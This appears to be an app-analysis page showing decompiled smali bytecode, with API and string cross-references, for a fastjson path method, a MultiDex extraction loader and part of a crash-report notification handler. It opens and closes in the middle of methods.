                                                62invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                64invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                65move-result-object v2
                                                67invoke-interface {v0}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                                68move-result-object v0
                                                70invoke-static {p0, v2, v0, p3}, Lcom/alibaba/fastjson/JSONPath;->paths(Ljava/util/Map;Ljava/lang/String;Ljava/lang/Object;Lcom/alibaba/fastjson/serializer/SerializeConfig;)V
                                                71goto/16 :goto_1d
                                                72cond_57: return-void
                                                73cond_58: instance-of v0, p2, Ljava/util/Collection;
                                                74const/4 v2, 0x0
                                                75if-eqz v0, :cond_92
                                                76check-cast p2, Ljava/util/Collection;
                                                78invoke-interface {p2}, Ljava/util/Collection;->iterator()Ljava/util/Iterator;
                                                79move-result-object p2
                                                80goto_63:
                                                81invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                                82move-result v0
                                                83if-eqz v0, :cond_91
                                                85invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                86move-result-object v0
                                                88invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                89move-result v3
                                                90if-eqz v3, :cond_79
                                                91new-instance v3, Ljava/lang/StringBuilder;
                                                93invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                94goto/16 :goto_81
                                                95cond_79: new-instance v3, Ljava/lang/StringBuilder;
                                                97invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                99invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                100goto_81:
                                                101invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                103invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                105invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                106move-result-object v3
                                                108invoke-static {p0, v3, v0, p3}, Lcom/alibaba/fastjson/JSONPath;->paths(Ljava/util/Map;Ljava/lang/String;Ljava/lang/Object;Lcom/alibaba/fastjson/serializer/SerializeConfig;)V
                                                109add-int/lit8 v2, v2, 0x1
                                                110goto/16 :goto_63
                                                111cond_91: return-void
                                                112cond_92:
                                                113invoke-virtual {p2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                114move-result-object v0
                                                116invoke-virtual {v0}, Ljava/lang/Class;->isArray()Z
                                                117move-result v3
                                                118if-eqz v3, :cond_cd
                                                120invoke-static {p2}, Ljava/lang/reflect/Array;->getLength(Ljava/lang/Object;)I
                                                121move-result v0
                                                122goto_a0: if-ge v2, v0, :cond_cc
                                                124invoke-static {p2, v2}, Ljava/lang/reflect/Array;->get(Ljava/lang/Object;I)Ljava/lang/Object;
                                                125move-result-object v3
                                                127invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                128move-result v4
                                                129if-eqz v4, :cond_b2
                                                130new-instance v4, Ljava/lang/StringBuilder;
                                                132invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                133goto/16 :goto_ba
                                                134cond_b2: new-instance v4, Ljava/lang/StringBuilder;
                                                136invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                138invoke-virtual {v4, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                139goto_ba:
                                                140invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                142invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                144invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                145move-result-object v4
                                                147invoke-static {p0, v4, v3, p3}, Lcom/alibaba/fastjson/JSONPath;->paths(Ljava/util/Map;Ljava/lang/String;Ljava/lang/Object;Lcom/alibaba/fastjson/serializer/SerializeConfig;)V
                                                148add-int/lit8 v2, v2, 0x1
                                                149add-int/lit8 v2, v2, 0x1
                                                150goto/16 :goto_a0
                                                151cond_cc: return-void
                                                152cond_cd:
                                                153invoke-static {v0}, Lcom/alibaba/fastjson/parser/ParserConfig;->isPrimitive(Ljava/lang/Class;)Z
                                                154move-result v2
                                                155if-nez v2, :cond_13d
                                                157invoke-virtual {v0}, Ljava/lang/Class;->isEnum()Z
                                                158move-result v2
                                                159if-eqz v2, :cond_da
                                                160goto/16 :goto_13d
                                                161cond_da:
                                                162invoke-virtual {p3, v0}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->getObjectWriter(Ljava/lang/Class;)Lcom/alibaba/fastjson/serializer/ObjectSerializer;
                                                163move-result-object v0
                                                164instance-of v2, v0, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;
                                                165if-eqz v2, :cond_13d
                                                166check-cast v0, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;
                                                167try_start_e4:
                                                168invoke-virtual {v0, p2}, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;->getFieldValuesMap(Ljava/lang/Object;)Ljava/util/Map;
                                                169move-result-object p2
                                                171invoke-interface {p2}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                                172move-result-object p2
                                                174invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                                175move-result-object p2
                                                176cond_f0:
                                                177invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                                178move-result v0
                                                179if-eqz v0, :cond_133
                                                181invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                182move-result-object v0
                                                183check-cast v0, Ljava/util/Map$Entry;
                                                185invoke-interface {v0}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                                186move-result-object v2
                                                187check-cast v2, Ljava/lang/String;
                                                188instance-of v3, v2, Ljava/lang/String;
                                                189if-eqz v3, :cond_f0
                                                191invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                192move-result v3
                                                193if-eqz v3, :cond_11c
                                                194new-instance v3, Ljava/lang/StringBuilder;
                                                196invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                198invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                200invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                201goto_117:
                                                202invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                203move-result-object v2
                                                204goto/16 :goto_12b
                                                205cond_11c: new-instance v3, Ljava/lang/StringBuilder;
                                                207invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                209invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                211invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                213invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                214goto/16 :goto_117
                                                215goto_12b:
                                                216invoke-interface {v0}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                                217move-result-object v0
                                                219invoke-static {p0, v2, v0, p3}, Lcom/alibaba/fastjson/JSONPath;->paths(Ljava/util/Map;Ljava/lang/String;Ljava/lang/Object;Lcom/alibaba/fastjson/serializer/SerializeConfig;)V
                                                220try_end_132: goto/16 :goto_f0
                                                221cond_133: return-void
                                                222catch_134: move-exception p0
                                                223new-instance p1, Lcom/alibaba/fastjson/JSONException;
                                                225const-string p2, "toJSON error"
                                                227invoke-direct {p1, p2, p0}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                228throw p1
                                                229cond_13d: return-void
                                                Cross References
                                                APIs
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • android.content.pm.ApplicationInfo.sourceDir:Ljava/lang/String
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.i
                                                • android.content.pm.ApplicationInfo.sourceDir:Ljava/lang/String
                                                • java.io.File.<init>
                                                • android.support.coreui.app.a.b.getZipCrc
                                                • android.support.coreui.app.a.b.isModified
                                                • android.support.coreui.app.a.b.loadExistingExtractions
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.util.List.size
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.i
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.w
                                                • android.support.coreui.app.a.b.performExtractions
                                                • android.support.coreui.app.a.b.getTimeStamp
                                                • java.util.List.size
                                                • android.support.coreui.app.a.b.putStoredApkInfo
                                                • android.util.Log.i
                                                • android.support.coreui.app.a.b.performExtractions
                                                • android.support.coreui.app.a.b.getTimeStamp
                                                • java.util.List.size
                                                • android.support.coreui.app.a.b.putStoredApkInfo
                                                Strings
                                                • MultiDex
                                                • MultiDexExtractor.load(
                                                • ,
                                                • )
                                                • load found
                                                • secondary dex files
                                                • Failed to reload existing extracted secondary dex files,
                                                • falling back to fresh extraction
                                                • Detected that extraction must be performed.
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"(",
                                                3"Landroid/content/Context;",
                                                4"Landroid/content/pm/ApplicationInfo;",
                                                5"Ljava/io/File;",
                                                6"Z)",
                                                7"Ljava/util/List",
                                                8"<",
                                                9"Ljava/io/File;",
                                                10">;^",
                                                11"Ljava/io/IOException;"
                                                12}
                                                13.end annotation
                                                14.annotation system Ldalvik/annotation/Throws;
                                                15value = {
                                                16Ljava/io/IOException;
                                                17}
                                                18.end annotation
                                                19.prologue
                                                20move-object/from16 v2, p0
                                                21move-object/from16 v3, p1
                                                22move-object/from16 v4, p2
                                                23move/from16 v5, p3
                                                25const-string v13, "MultiDex"
                                                26new-instance v14, Ljava/lang/StringBuffer;
                                                27move-object/from16 v20, v14
                                                28move-object/from16 v14, v20
                                                29move-object/from16 v15, v20
                                                31invoke-direct {v15}, Ljava/lang/StringBuffer;-><init>()V
                                                32new-instance v15, Ljava/lang/StringBuffer;
                                                33move-object/from16 v20, v15
                                                34move-object/from16 v15, v20
                                                35move-object/from16 v16, v20
                                                37invoke-direct/range {v16 .. v16}, Ljava/lang/StringBuffer;-><init>()V
                                                38new-instance v16, Ljava/lang/StringBuffer;
                                                39move-object/from16 v20, v16
                                                40move-object/from16 v16, v20
                                                41move-object/from16 v17, v20
                                                43invoke-direct/range {v17 .. v17}, Ljava/lang/StringBuffer;-><init>()V
                                                44new-instance v17, Ljava/lang/StringBuffer;
                                                45move-object/from16 v20, v17
                                                46move-object/from16 v17, v20
                                                47move-object/from16 v18, v20
                                                49invoke-direct/range {v18 .. v18}, Ljava/lang/StringBuffer;-><init>()V
                                                51const-string v18, "MultiDexExtractor.load("
                                                53invoke-virtual/range {v17 .. v18}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                54move-result-object v17
                                                55move-object/from16 v18, v3
                                                56move-object/from16 v0, v18
                                                58iget-object v0, v0, Landroid/content/pm/ApplicationInfo;->sourceDir:Ljava/lang/String;
                                                59move-object/from16 v18, v0
                                                61invoke-virtual/range {v17 .. v18}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                62move-result-object v17
                                                64invoke-virtual/range {v17 .. v17}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                65move-result-object v17
                                                67invoke-virtual/range {v16 .. v17}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                68move-result-object v16
                                                70const-string v17, ", "
                                                72invoke-virtual/range {v16 .. v17}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                73move-result-object v16
                                                75invoke-virtual/range {v16 .. v16}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                76move-result-object v16
                                                78invoke-virtual/range {v15 .. v16}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                79move-result-object v15
                                                80move/from16 v16, v5
                                                82invoke-virtual/range {v15 .. v16}, Ljava/lang/StringBuffer;->append(Z)Ljava/lang/StringBuffer;
                                                83move-result-object v15
                                                85invoke-virtual {v15}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                86move-result-object v15
                                                88invoke-virtual {v14, v15}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                89move-result-object v14
                                                91const-string v15, ")"
                                                93invoke-virtual {v14, v15}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                94move-result-object v14
                                                96invoke-virtual {v14}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                97move-result-object v14
                                                99invoke-static {v13, v14}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                100move-result v13
                                                101new-instance v13, Ljava/io/File;
                                                102move-object/from16 v20, v13
                                                103move-object/from16 v13, v20
                                                104move-object/from16 v14, v20
                                                105move-object v15, v3
                                                107iget-object v15, v15, Landroid/content/pm/ApplicationInfo;->sourceDir:Ljava/lang/String;
                                                109invoke-direct {v14, v15}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                                110move-object v7, v13
                                                111move-object v13, v7
                                                113invoke-static {v13}, Landroid/support/coreui/app/a/b;->getZipCrc(Ljava/io/File;)J
                                                114move-result-wide v13
                                                115move-wide v8, v13
                                                116move v13, v5
                                                117if-nez v13, :cond_126
                                                118move-object v13, v2
                                                119move-object v14, v7
                                                120move-wide v15, v8
                                                122invoke-static/range {v13 .. v16}, Landroid/support/coreui/app/a/b;->isModified(Landroid/content/Context;Ljava/io/File;J)Z
                                                123move-result v13
                                                124if-nez v13, :cond_126
                                                125move-object v13, v2
                                                126move-object v14, v7
                                                127move-object v15, v4
                                                128try_start_9e:
                                                129invoke-static {v13, v14, v15}, Landroid/support/coreui/app/a/b;->loadExistingExtractions(Landroid/content/Context;Ljava/io/File;Ljava/io/File;)Ljava/util/List;
                                                130try_end_a1: move-result-object v13
                                                131move-object v10, v13
                                                132goto_a3:
                                                133const-string v13, "MultiDex"
                                                134new-instance v14, Ljava/lang/StringBuffer;
                                                135move-object/from16 v20, v14
                                                136move-object/from16 v14, v20
                                                137move-object/from16 v15, v20
                                                139invoke-direct {v15}, Ljava/lang/StringBuffer;-><init>()V
                                                140new-instance v15, Ljava/lang/StringBuffer;
                                                141move-object/from16 v20, v15
                                                142move-object/from16 v15, v20
                                                143move-object/from16 v16, v20
                                                145invoke-direct/range {v16 .. v16}, Ljava/lang/StringBuffer;-><init>()V
                                                147const-string v16, "load found "
                                                149invoke-virtual/range {v15 .. v16}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                150move-result-object v15
                                                151move-object/from16 v16, v10
                                                153invoke-interface/range {v16 .. v16}, Ljava/util/List;->size()I
                                                154move-result v16
                                                156invoke-virtual/range {v15 .. v16}, Ljava/lang/StringBuffer;->append(I)Ljava/lang/StringBuffer;
                                                157move-result-object v15
                                                159invoke-virtual {v15}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                160move-result-object v15
                                                162invoke-virtual {v14, v15}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                163move-result-object v14
                                                165const-string v15, " secondary dex files"
                                                167invoke-virtual {v14, v15}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                168move-result-object v14
                                                170invoke-virtual {v14}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                171move-result-object v14
                                                173invoke-static {v13, v14}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                174move-result v13
                                                175move-object v13, v10
                                                176move-object v2, v13
                                                177return-object v2
                                                178catch_e4: move-exception v13
                                                179move-object v11, v13
                                                181const-string v13, "MultiDex"
                                                182new-instance v14, Ljava/lang/StringBuffer;
                                                183move-object/from16 v20, v14
                                                184move-object/from16 v14, v20
                                                185move-object/from16 v15, v20
                                                187invoke-direct {v15}, Ljava/lang/StringBuffer;-><init>()V
                                                189const-string v15, "Failed to reload existing extracted secondary dex files,"
                                                191invoke-virtual {v14, v15}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                192move-result-object v14
                                                194const-string v15, " falling back to fresh extraction"
                                                196invoke-virtual {v14, v15}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                197move-result-object v14
                                                199invoke-virtual {v14}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                200move-result-object v14
                                                201move-object v15, v11
                                                203invoke-static {v13, v14, v15}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                                                204move-result v13
                                                205move-object v13, v7
                                                206move-object v14, v4
                                                208invoke-static {v13, v14}, Landroid/support/coreui/app/a/b;->performExtractions(Ljava/io/File;Ljava/io/File;)Ljava/util/List;
                                                209move-result-object v13
                                                210move-object v10, v13
                                                211move-object v13, v2
                                                212move-object v14, v7
                                                214invoke-static {v14}, Landroid/support/coreui/app/a/b;->getTimeStamp(Ljava/io/File;)J
                                                215move-result-wide v14
                                                216move-wide/from16 v16, v8
                                                217move-object/from16 v18, v10
                                                219invoke-interface/range {v18 .. v18}, Ljava/util/List;->size()I
                                                220move-result v18
                                                221const/16 v19, 0x1
                                                222add-int/lit8 v18, v18, 0x1
                                                224invoke-static/range {v13 .. v18}, Landroid/support/coreui/app/a/b;->putStoredApkInfo(Landroid/content/Context;JJI)V
                                                225goto/16 :goto_a3
                                                226cond_126:
                                                227const-string v13, "MultiDex"
                                                229const-string v14, "Detected that extraction must be performed."
                                                231invoke-static {v13, v14}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                232move-result v13
                                                233move-object v13, v7
                                                234move-object v14, v4
                                                236invoke-static {v13, v14}, Landroid/support/coreui/app/a/b;->performExtractions(Ljava/io/File;Ljava/io/File;)Ljava/util/List;
                                                237move-result-object v13
                                                238move-object v10, v13
                                                239move-object v13, v2
                                                240move-object v14, v7
                                                242invoke-static {v14}, Landroid/support/coreui/app/a/b;->getTimeStamp(Ljava/io/File;)J
                                                243move-result-wide v14
                                                244move-wide/from16 v16, v8
                                                245move-object/from16 v18, v10
                                                247invoke-interface/range {v18 .. v18}, Ljava/util/List;->size()I
                                                248move-result v18
                                                249const/16 v19, 0x1
                                                250add-int/lit8 v18, v18, 0x1
                                                252invoke-static/range {v13 .. v18}, Landroid/support/coreui/app/a/b;->putStoredApkInfo(Landroid/content/Context;JJI)V
                                                253goto/16 :goto_a3
                                                Cross References
                                                APIs
                                                • android.support.coreui.app.__.context:Landroid/content/Context
                                                • android.support.coreui.app.__.getAppName
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.io.StringWriter.<init>
                                                • java.io.PrintWriter.<init>
                                                • java.lang.Throwable.printStackTrace
                                                • java.io.StringWriter.toString
                                                • android.support.coreui.app.__.context:Landroid/content/Context
                                                • java.lang.Class.forName
                                                • android.content.Intent.<init>
                                                • android.content.Intent.putExtra
                                                • android.support.coreui.app.__.context:Landroid/content/Context
                                                • android.app.PendingIntent.getActivity
                                                • java.lang.String.split
                                                • android.content.Intent.<init>
                                                • android.content.Intent.putExtra
                                                • java.lang.StringBuilder.toString
                                                • android.content.Intent.putExtra
                                                • android.content.Intent.putExtra
                                                • android.content.Intent.setType
                                                • android.support.coreui.app.__.context:Landroid/content/Context
                                                • android.app.PendingIntent.getActivity
                                                • android.support.coreui.app.__.context:Landroid/content/Context
                                                • android.content.Context.getSystemService
                                                • android.support.coreui.app.__.context:Landroid/content/Context
                                                • android.app.Notification$Builder.<init>
                                                • java.lang.StringBuilder.toString
                                                • android.app.Notification$Builder.setContentTitle
                                                • android.app.Notification$Builder.setContentText
                                                • java.lang.System.currentTimeMillis
                                                • android.app.Notification$Builder.setWhen
                                                • android.support.coreui.app.__.setSmallNotificationIcon
                                                • android.app.Notification$BigTextStyle.<init>
                                                • android.app.Notification$BigTextStyle.bigText
                                                • android.app.Notification$Builder.setStyle
                                                • android.app.Notification$Action.<init>
                                                • android.app.Notification$Builder.addAction
                                                • android.app.Notification$Action.<init>
                                                • android.app.Notification$Builder.addAction
                                                • android.app.Notification$Builder.getNotification
                                                • android.app.NotificationManager.notify
                                                • java.lang.System.exit
                                                • java.lang.Throwable.getMessage
                                                • java.lang.NoClassDefFoundError.<init>
                                                Strings
                                                • crashed
                                                • android.support.dexpro.CopyClip
                                                • error
                                                • magicph26@gmail.com
                                                • ,
                                                • android.intent.action.SEND
                                                • android.intent.extra.EMAIL
                                                • android.intent.extra.SUBJECT
                                                • android.intent.extra.TEXT
                                                • message/rfc822
                                                • notification
                                                • COPY
                                                • REPORT
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"(",
                                                3"Ljava/lang/Thread;",
                                                4"Ljava/lang/Throwable;",
                                                5")V"
                                                6}
                                                7.end annotation
                                                8.prologue
                                                9move-object/from16 v3, p0
                                                10move-object/from16 v4, p1
                                                11move-object/from16 v5, p2
                                                12move-object/from16 v21, v3
                                                13try_start_8: move-object/from16 v0, v21
                                                15iget-object v0, v0, Landroid/support/coreui/app/__;->context:Landroid/content/Context;
                                                16move-object/from16 v21, v0
                                                18invoke-static/range {v21 .. v21}, Landroid/support/coreui/app/__;->getAppName(Landroid/content/Context;)Ljava/lang/String;
                                                19move-result-object v21
                                                20move-object/from16 v8, v21
                                                21new-instance v21, Ljava/lang/StringBuilder;
                                                22move-object/from16 v28, v21
                                                23move-object/from16 v21, v28
                                                24move-object/from16 v22, v28
                                                26invoke-direct/range {v22 .. v22}, Ljava/lang/StringBuilder;-><init>()V
                                                27move-object/from16 v7, v21
                                                28move-object/from16 v21, v7
                                                29move-object/from16 v22, v8
                                                31invoke-virtual/range {v21 .. v22}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                32move-result-object v21
                                                33move-object/from16 v21, v7
                                                35const-string v22, " crashed"
                                                37invoke-virtual/range {v21 .. v22}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                38move-result-object v21
                                                39const/16 v21, 0x0
                                                40check-cast v21, Ljava/lang/String;
                                                41move-object/from16 v9, v21
                                                42new-instance v21, Ljava/io/StringWriter;
                                                43move-object/from16 v28, v21
                                                44move-object/from16 v21, v28
                                                45move-object/from16 v22, v28
                                                47invoke-direct/range {v22 .. v22}, Ljava/io/StringWriter;-><init>()V
                                                48move-object/from16 v10, v21
                                                49move-object/from16 v21, v5
                                                50new-instance v22, Ljava/io/PrintWriter;
                                                51move-object/from16 v28, v22
                                                52move-object/from16 v22, v28
                                                53move-object/from16 v23, v28
                                                54move-object/from16 v24, v10
                                                56invoke-direct/range {v23 .. v24}, Ljava/io/PrintWriter;-><init>(Ljava/io/Writer;)V
                                                58invoke-virtual/range {v21 .. v22}, Ljava/lang/Throwable;->printStackTrace(Ljava/io/PrintWriter;)V
                                                59move-object/from16 v21, v10
                                                61invoke-virtual/range {v21 .. v21}, Ljava/io/StringWriter;->toString()Ljava/lang/String;
                                                62move-result-object v21
                                                63move-object/from16 v9, v21
                                                64new-instance v21, Landroid/content/Intent;
                                                65move-object/from16 v28, v21
                                                66move-object/from16 v21, v28
                                                67move-object/from16 v22, v28
                                                68move-object/from16 v23, v3
                                                69move-object/from16 v0, v23
                                                71iget-object v0, v0, Landroid/support/coreui/app/__;->context:Landroid/content/Context;
                                                72move-object/from16 v23, v0
                                                73try_start_6e:
                                                74const-string v24, "android.support.dexpro.CopyClip"
                                                76invoke-static/range {v24 .. v24}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                77try_end_73: move-result-object v24
                                                78try_start_74:
                                                79invoke-direct/range {v22 .. v24}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                                80move-object/from16 v11, v21
                                                81move-object/from16 v21, v11
                                                83const-string v22, "error"
                                                84move-object/from16 v23, v9
                                                86invoke-virtual/range {v21 .. v23}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                                                87move-result-object v21
                                                88move-object/from16 v21, v3
                                                89move-object/from16 v0, v21
                                                91iget-object v0, v0, Landroid/support/coreui/app/__;->context:Landroid/content/Context;
                                                92move-object/from16 v21, v0
                                                93const/16 v22, 0x0
                                                94move-object/from16 v23, v11
                                                95const/16 v24, 0x0
                                                97invoke-static/range {v21 .. v24}, Landroid/app/PendingIntent;->getActivity(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
                                                98move-result-object v21
                                                99move-object/from16 v13, v21
                                                101const-string v21, "magicph26@gmail.com"
                                                102move-object/from16 v14, v21
                                                103move-object/from16 v21, v14
                                                105const-string v22, ","
                                                107invoke-virtual/range {v21 .. v22}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                                                108move-result-object v21
                                                109move-object/from16 v15, v21
                                                110new-instance v21, Landroid/content/Intent;
                                                111move-object/from16 v28, v21
                                                112move-object/from16 v21, v28
                                                113move-object/from16 v22, v28
                                                115const-string v23, "android.intent.action.SEND"
                                                117invoke-direct/range {v22 .. v23}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                                118move-object/from16 v16, v21
                                                119move-object/from16 v21, v16
                                                121const-string v22, "android.intent.extra.EMAIL"
                                                122move-object/from16 v23, v15
                                                124invoke-virtual/range {v21 .. v23}, Landroid/content/Intent;->putExtra(Ljava/lang/String;[Ljava/lang/String;)Landroid/content/Intent;
                                                125move-result-object v21
                                                126move-object/from16 v21, v16
                                                128const-string v22, "android.intent.extra.SUBJECT"
                                                129move-object/from16 v23, v7
                                                131invoke-virtual/range {v23 .. v23}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                132move-result-object v23
                                                134invoke-virtual/range {v21 .. v23}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                                                135move-result-object v21
                                                136move-object/from16 v21, v16
                                                138const-string v22, "android.intent.extra.TEXT"
                                                139move-object/from16 v23, v9
                                                141invoke-virtual/range {v21 .. v23}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                                                142move-result-object v21
                                                143move-object/from16 v21, v16
                                                145const-string v22, "message/rfc822"
                                                147invoke-virtual/range {v21 .. v22}, Landroid/content/Intent;->setType(Ljava/lang/String;)Landroid/content/Intent;
                                                148move-result-object v21
                                                149move-object/from16 v21, v3
                                                150move-object/from16 v0, v21
                                                152iget-object v0, v0, Landroid/support/coreui/app/__;->context:Landroid/content/Context;
                                                153move-object/from16 v21, v0
                                                154const/16 v22, 0x0
                                                155move-object/from16 v23, v16
                                                156const/16 v24, 0x0
                                                158invoke-static/range {v21 .. v24}, Landroid/app/PendingIntent;->getActivity(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
                                                159move-result-object v21
                                                160move-object/from16 v17, v21
                                                161move-object/from16 v21, v3
                                                162move-object/from16 v0, v21
                                                164iget-object v0, v0, Landroid/support/coreui/app/__;->context:Landroid/content/Context;
                                                165move-object/from16 v21, v0
                                                167const-string v22, "notification"
                                                169invoke-virtual/range {v21 .. v22}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                170move-result-object v21
                                                171check-cast v21, Landroid/app/NotificationManager;
                                                172move-object/from16 v18, v21
                                                173new-instance v21, Landroid/app/Notification$Builder;
                                                174move-object/from16 v28, v21
                                                175move-object/from16 v21, v28
                                                176move-object/from16 v22, v28
                                                177move-object/from16 v23, v3
                                                178move-object/from16 v0, v23
                                                180iget-object v0, v0, Landroid/support/coreui/app/__;->context:Landroid/content/Context;
                                                181move-object/from16 v23, v0
                                                183invoke-direct/range {v22 .. v23}, Landroid/app/Notification$Builder;-><init>(Landroid/content/Context;)V
                                                184move-object/from16 v22, v7
                                                186invoke-virtual/range {v22 .. v22}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                187move-result-object v22
                                                189invoke-virtual/range {v21 .. v22}, Landroid/app/Notification$Builder;->setContentTitle(Ljava/lang/CharSequence;)Landroid/app/Notification$Builder;
                                                190move-result-object v21
